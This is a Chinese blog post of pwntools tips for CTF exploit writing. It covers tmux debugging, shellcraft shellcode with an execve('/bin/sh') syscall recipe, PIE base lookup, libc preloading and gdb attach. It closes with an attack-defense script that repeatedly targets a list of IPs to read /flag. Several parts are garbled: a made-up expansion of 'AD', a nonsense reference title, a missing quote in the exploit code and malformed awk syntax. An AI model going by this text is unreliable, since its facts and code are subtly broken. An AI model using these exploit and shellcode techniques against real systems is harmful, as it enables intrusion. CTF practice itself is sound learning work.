
本文共 3583 字,大约阅读时间需要 11 分钟。
在最近的几次比赛中,我学到了很多用pwntools编写EXP时的小技巧。这些知识让我在EXP开发过程中更加高效和得心应手,尤其是在利用TMUX进行多屏调试时,工作效率得到了显著提升。
一、利用TMUX多屏调试
TMUX是一款终端复用软件,能够在同一个终端窗口中创建多个虚拟终端。这对于我们进行调试非常有用,特别是在使用带有图形化界面的虚拟机时,因占用资源过多而难以使用时,可以选择通过配置一台纯终端服务器进行调试。在这种情况下,我们需要使用TMUX进行多屏调试。以下代码可以自动创建一个窗口来调试:
context.terminal = ['tmux', 'splitw', '-h']
调试时,这段代码会将GDB调试内容分为两个窗口,这样我们可以分别进行查看和操作。
二、指定运行环境
在Python代码中,context
模块允许我们指定运行环境的参数。例如,可以指定运行环境的架构(如AMD64)和操作系统(如Linux),从而方便调用pwntools自带的工具生成shellcode。默认情况下,只要在context
中指定了os
和arch
,就可以直接调用相应的shellcraft
函数,不需要像shellcraft.amd64.linux.sh()
那样长阶跃地指定。
shellcraft.sh()
:
os
和arch
的一段可以获取shell的shellcode。更多时候,我们应该直接从exploitdb
中获取shellcode,或者手动编写自己的shellcode。例如,针对64位系统,只需将rdi
指向一个存储"/bin/sh\x00"
的指针,然后将rsi
, rdx
置为0,最后设置rax
为0x3b,调用syscall
即可。 shellcraft.pushstr()
:
shellcraft.cat()
:
open()
、read()
和write()
的组合实现功能。相比手写shellcode,使用这个函数会更高效且不易出错。 三、开启了PIE的地址计算
在进行PIE(随机地址空间_LAYOUT)环境下的调试时,我们需要动态获取程序的基址。以下函数可以帮助我们实现这一目标:
def debug(addr, PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{ {print $1}}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p, 'b *{}'.format(hex(text_base + addr))) else: gdb.attach(p, "b *{}".format(hex(addr)))
这个函数根据PIE的设置,获取程序的基址,并结合相对地址 attach 调试。不过,手动计算基址也可以通过以下方法实现:
def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[0].strip('.')] return proc_base
四、不同libc加载库的选择
在开发EXP时,libc
的版本和加载方式会影响程序运行。我们可以通过不同的方法指定libc
的加载路径:
p = process('./elf') # 使用系统默认的libcp = process('./elf', env={'LD_PRELOAD': './libc.so.6'}) # 指定特定的libc版本p = process(pwn_file) #Starctf2019中的方法
这样,我们可以灵活地选择不同版本的libc
进行调试和EXP开发。
五、Attach方法
在使用gdb
进行远程调试时,可以通过以下方式 attach 到目标程序:
gdb.attach(p, cmd)
这里的cmd
是gdb
在attach后会执行的命令序列。如果需要多行命令,可以通过添加换行符实现:
cmd = "b main\nset $a = 0x8048000\n"gdb.attach(p, cmd)
需要注意的是,gdb
attach 后程序并不会停止运行。为了确保后续的Python代码不会被调用,我们通常会使用pause()
函数过渡到断点调试模式。
六、AD模式
在一些比赛中,可以利用AD(indirect Acquisition Disarm)模式要求提交flag。我们可以开发一个EXP,自动提交flag到指定的URL,并填写自己的token。以下是一个示例:
from pwn import *context.arch = 'amd64'context.log_level = 'debug'def debug(addr, PIE=True): if PIE: text_base = int(os.popen("pmap {} | awk '{{ {print $1}}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p, 'b *{}'.format(hex(text_base + addr))) else: gdb.attach(p, "b *{}".format(hex(addr)))def main(host, port=16957): global p if host: p = remote(host, port) else: p = process("./pwn") debug(0x00000000000739D) code = [ "string readfile(string name)", "string lnk(string src, string dest)", "string print(string x)", "lnk('/flag', '/tmp/y)", "print(readfile('/tmp/y'))" ] p.recvuntil("size: ") send_size = str(len(code) + 2) p.sendline(send_size) p.recvuntil("Give me your script (same size): ") p.sendline('\n'.join(code)) try: response = p.recvuntil('\n', timeout=0.5) flag = response.decode().strip('\x00') print(flag) p.close() return flag except Exception: print('bad_luck') p.close() finally: p.interactive()if __name__ == '__main__': with open('ip.txt', 'rb') as f: ips = [ip.strip() for ip in f.readlines()] while True: for ip in ips: try: flag = main(ip) print(flag) # ... 自动提交flag到远程接口 ... except Exception as e: print(e) sleep(30)
这个EXP通过读取IP列表,逐一尝试攻击,自动提交flag到指定接口,是一种常见的AD模式解决方案。
参考文章
- t1an5t师傅的文章
- x́t superb Portable Shellcode G restrained Technique (PST)
发表评论
最新留言
关于作者
